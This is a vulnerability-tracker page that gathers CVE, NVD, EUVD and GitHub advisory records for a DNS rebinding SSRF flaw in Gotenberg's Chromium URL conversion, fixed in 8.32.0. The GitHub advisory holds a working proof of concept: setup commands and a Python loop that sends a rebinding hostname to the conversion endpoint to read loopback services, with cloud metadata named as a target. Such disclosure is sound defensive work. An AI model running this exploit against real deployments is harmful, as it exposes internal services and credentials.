Gotenberg: DNS rebinding bypasses SSRF validation on Chromium URL conversion routes
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cve-program · CVE-2026-42592
PublishedGotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF. This vulnerability is fixed in 8.32.0.
- Source published
- 14 May 2026 15:30:34 UTC
- Source modified
- 14 May 2026 18:14:45 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
euvd · EUVD-2026-30315
PublishedGotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF. This vulnerability is fixed in 8.32.0.
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datePublished: May 14, 2026, 3:30:34 PM
dateUpdated: May 14, 2026, 6:14:45 PM
- Source published
- May 14, 2026, 3:30:34 PM (timezone not stated)
- Source modified
- May 14, 2026, 6:14:45 PM (timezone not stated)
- Saved here
- 13 Nov 2026 23:09:30 UTC
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- ENISA EUVD · source terms and attribution apply
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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
nvd · CVE-2026-42592
PublishedGotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF. This vulnerability is fixed in 8.32.0.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-367 · CWE-918
Original publisher date fields
published: 2026-05-14T16:16:22.307
lastModified: 2026-11-11T20:10:00.273
1 source CPE criteria · context only
- cpe:2.3:a:thecodingmachine:gotenberg:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 14 May 2026 16:16:22 UTC
- Source modified
- 11 Nov 2026 20:10:00 UTC
- Saved here
- 12 Nov 2026 16:19:37 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
osv · GHSA-2pmr-289p-44r3
Published## Summary `FilterOutboundURL` resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP `Fetch.requestPaused` handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF. ## Details `pkg/gotenberg/outbound.go:227-230` drops the pinned IPs from the outbound decision: ```go func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error { _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline) return err } ``` The Chromium convert path at `pkg/modules/chromium/browser.go:341` calls `FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline)` and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver. The CDP `Fetch.requestPaused` listener at `pkg/modules/chromium/events.go:55` runs a second check: ```go err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline) ``` This also calls `decideOutbound`, which again resolves DNS, checks, and returns only the error. After the handler calls `fetch.ContinueRequest` at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change. The webhook and downloadFrom paths avoid this class by using `gotenberg.NewOutboundHttpClient` at `pkg/gotenberg/outbound.go:269-280`, which wires a `secureDialContext` that pins resolved IPs through `dialPinned`. The Chromium navigation path has no equivalent. The `--chromium-host-resolver-rules` flag at `pkg/modules/chromium/chromium.go:446` defaults to empty, so no operator-provided mapping closes the gap in default deployments. ## Proof of Concept Reproduction uses a public DNS service that randomizes the response per query. `rebind.<subdomain>.requestrepo.com` resolves to `<public-ip>` or `127.0.0.1` with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return `<public-ip>%127.0.0.1`. Setup: ```bash docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 # Simulate an internal-only HTTP service that the default deny-list blocks. docker exec gotenberg-poc sh -c \ 'mkdir -p /tmp/rebind_srv && \ echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html' docker exec -d gotenberg-poc sh -c \ 'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1' ``` Alice runs the attack without auth: ```python import requests, subprocess T = "http://localhost:3000" REBIND = "http://rebind.<subdomain>.requestrepo.com/" MARKER = "INTERNAL-ONLY-REBIND-HIT" hits = 0 for i in range(20): r = requests.post( f"{T}/forms/chromium/convert/url", files={"url": (None, REBIND)}, timeout=30, ) if r.status_code != 200: continue open("/tmp/_r.pdf", "wb").write(r.content) txt = subprocess.run( ["pdftotext", "/tmp/_r.pdf", "-"], capture_output=True, text=True, ).stdout if MARKER in txt: hits += 1 print(f"{hits}/20 rebind hits") ``` Observed output against gotenberg 8.31.0: ``` 2/20 rebind hits ``` The marker renders in the attacker's PDF output. `127.0.0.1:80` serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated. ## Impact An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at `169.254.169.254`, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough. ## Recommended Fix Pin the resolved IP from Gotenberg's `decideOutbound` check all the way to Chromium's connect. Export the existing `decideOutbound` function as `DecideOutbound`, then use the returned pinned IP to rewrite the Chromium navigation URL inside the `Fetch.requestPaused` handler via `fetch.ContinueRequest`. Set the `Host` header to the original hostname so TLS and virtual-host routing still work: ```go decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline) if err != nil { allow = false } else if len(decision.Pinned) > 0 { pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String()) req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...) } ``` Alternative: pass `--host-resolver-rules="MAP <hostname> <pinned-ip>"` to Chromium when starting the per-request session, derived from the `FilterOutboundURL` resolution. This is the same mechanism the `--chromium-host-resolver-rules` flag already exposes to operators, just applied automatically per request. --- *Found by [aisafe.io](https://aisafe.io)*
- Source published
- 7 May 2026 00:57:37 UTC
- Source modified
- 10 Sep 2026 03:51:04 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Publisher rating · MODERATE
osv · GO-2026-4990
PublishedGotenberg's DNS rebinding bypasses SSRF validation on Chromium URL conversion routes in github.com/gotenberg/gotenberg
- Source published
- 20 May 2026 19:07:16 UTC
- Source modified
- 7 Aug 2026 08:11:54 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.